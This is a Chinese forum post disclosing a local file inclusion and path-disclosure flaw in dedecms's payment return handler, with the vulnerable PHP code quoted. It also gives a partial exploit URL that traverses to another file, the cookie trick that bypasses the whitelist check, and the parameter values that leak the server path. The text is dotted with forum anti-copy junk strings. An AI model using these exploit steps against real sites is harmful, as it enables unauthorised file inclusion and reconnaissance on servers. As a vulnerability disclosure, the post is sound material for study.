找回密码
 立即注册
查看: 2339|回复: 0
打印 上一主题 下一主题

dedecms本地文件包含及物理路径泄露0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:25:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯), a6 Y- X" Q9 I. p! d# E
# I4 y0 L4 y9 Y! F+ m
出现漏洞的两个文件为:
3 S3 ^! {; A: k* c% @Include/payment/alipay.php" R8 ?8 q0 u! w9 \4 _, g9 Z+ U
Include/payment/yeepay.php* Q; V8 T# A, D
漏洞均出现在respond方法里,估计这两个文件是临时工写的。7 n4 a* v& s# ?4 c0 }" B6 \

7 s1 f7 ^4 \7 v, Z6 [. v! V2 fInclude/payment/alipay.php, b. n' P6 _0 ^; [
# y$ u& ?7 A& j6 x) \  Y
......1 d- a; }% j" K8 f0 o3 s
   function respond()
1 ~' v7 u# a, e7 t* P- _* Y    {
9 o, Y0 R4 H& |; J+ e: V        if (!empty($_POST))1 U! `9 Y, p8 F$ C
        {5 g2 d* X/ B1 K3 B; G* e6 d6 |- D! j
            foreach($_POST as $key => $data)
% D9 ~. u. [: U5 U7 I            {$ q) B; V4 U: X  g
                $_GET[$key] = $data;
; q$ A* U/ y- A            }
$ l1 w/ ~/ m+ X# Z5 b$ C        }
6 ^, I2 ^$ F  g0 }. ^6 X! p        /* 引入配置文件 */
5 F5 }. C6 Q. C1 [8 L        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
, x. n9 \/ C4 M...... 9 \1 A& p, N6 W7 I( A. I
; ]: A" j3 S' ^2 m" j3 v& m
7 |, H3 w7 s9 }9 e% @; T9 {; s9 S2 r# u
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
7 s1 `: E1 y# B" _$ f) \
% i. i2 K5 Y& v; u: I& sInclude/payment/yeepay.php* w2 A  @2 W, m; u/ ?  y" _

/ B1 L5 q" G# M- c0 \
8 P1 r0 m( T$ _9 _% u9 d5 Q1 N
* j  d# m) d* N% `/ f1 U......, d9 N1 T( t" N$ d8 c
    function respond()
" r1 h6 l$ q/ v: s+ p! i' _, ~    {
5 N- I- t& z) V. d & C/ J, ~5 l  l8 u: F
        /* 引入配置文件 */
$ U0 A1 q+ [: {3 _8 V7 R: {5 x7 v        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';) {9 J# o5 a- W! y( ]
2 _, m4 f" d3 N& s" u7 W7 M
        $p1_MerId = trim($payment['yp_account']);! a1 L$ X) ~: y9 h) @# C: R
        $merchantKey = trim($payment['yp_key']);: G) r! Z# `% d# L0 l
...... 9 Z% Y' Z/ y# i) M+ }6 q1 |
/ s: D5 J  @+ R- L5 Z' {

8 X3 A1 z8 p! b" [- g; G6 c4 T# T ; \, w  }6 a- k* i

* o3 [1 _( a8 m" P) b大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
6 m' w3 ^2 _' D, M5 E4 C9 L$ {2 R6 w# W4 k& M' U
这两个方法在plus/carbuyaction.php文件调用。7 D" \8 g" l$ K$ \7 y" c
7 _, @& |5 f1 y7 J/ D
plus/carbuyaction.php
1 M: j; ^! P; v5 z5 _. @- J+ L0 y+ \8 i* X6 b& J% S0 B
......
5 Q, z9 Q  Y" }( w) _- E, s} else if ($dopost == 'return') {
6 l. S+ _# c. k& l' ^3 ?    $write_list = array('alipay', 'bank', 'cod', 'yeepay');, l  C8 K% ~) k' M7 y! i1 ^& Q
    if (in_array($code, $write_list))3 K. W5 b3 g1 R; i
    {* Z( Z! I* U& H/ `9 a
        require_once DEDEINC.'/payment/'.$code.'.php';
% M2 C1 x$ A2 h/ U: P        $pay = new $code;2 N+ q# Z0 ?- A) l0 S
        $msg=$pay->respond();
6 G# p" e. H6 ~6 o& c! h. b        ShowMsg($msg, "javascript:;", 0, 3000);+ L7 P& w# {3 A& m' x& S
        exit();  
' v# e. v" d1 ^4 T, u& ^: V5 ~5 e( s    } else {, K) {# v8 X4 S& _% G; z
        exit('Error:File Type Can\'t Recognized!');# d! E0 N2 g. n" R5 _, x' r: e
    }- ]( V( Q: F9 L5 y7 E1 f+ W/ p: Q8 e
}
9 e0 F0 F: f; X3 m' m& `0 D1 P......
0 [( k8 x; ~) G" X+ A. z # T8 _5 m/ W; G/ y4 j
5 l" E: B) l+ L7 r: n$ T

4 P# j' L; D! w; {. v# p0 S
  Q& K/ o& f' g 1 p$ c1 K- ?, X/ g2 U. _
( j" e) P2 U) U6 g
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
/ c( F2 O' @* U0 C8 B- T, I, k! {4 i所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。: u8 L9 z% o- W* t- l( v7 b
! t1 E& S1 a* U! a( e' N
回到include/common.inc.php来看看他的机制。
- N, g* H3 D: i; g3 L) v$ ~: O* l" o/ t6 m. j

$ N4 j3 h% M' @4 J6 O, m7 A* Y8 C* V- A1 M
......
' ]! P5 X- O! n5 l9 E3 z1 wforeach(Array('_GET','_POST','_COOKIE') as $_request)
( ]" ~1 P1 R- U1 X+ Z! G! c1 s# p{9 y+ S  c( _# j6 {# j5 a
        foreach($$_request as $_k => $_v) 6 ^) u* U/ u2 z4 l0 F7 ^
        {
( M7 f: f8 h, Y1 u7 @6 W. U6 d' v                if($_k == 'nvarname') ${$_k} = $_v;
8 }: _" t) O1 t) O, U% l6 d                else ${$_k} = _RunMagicQuotes($_v);
2 ]9 o& K! j0 O        }
: p+ w& R% Y# F" j% ^- \3 l}" X! Z% S" y9 C0 d2 t; X
......
0 u4 E, ]- h( i6 {) `9 z: n大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
& H9 {8 `) H, W4 g3 d5 T! p7 F! ^由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表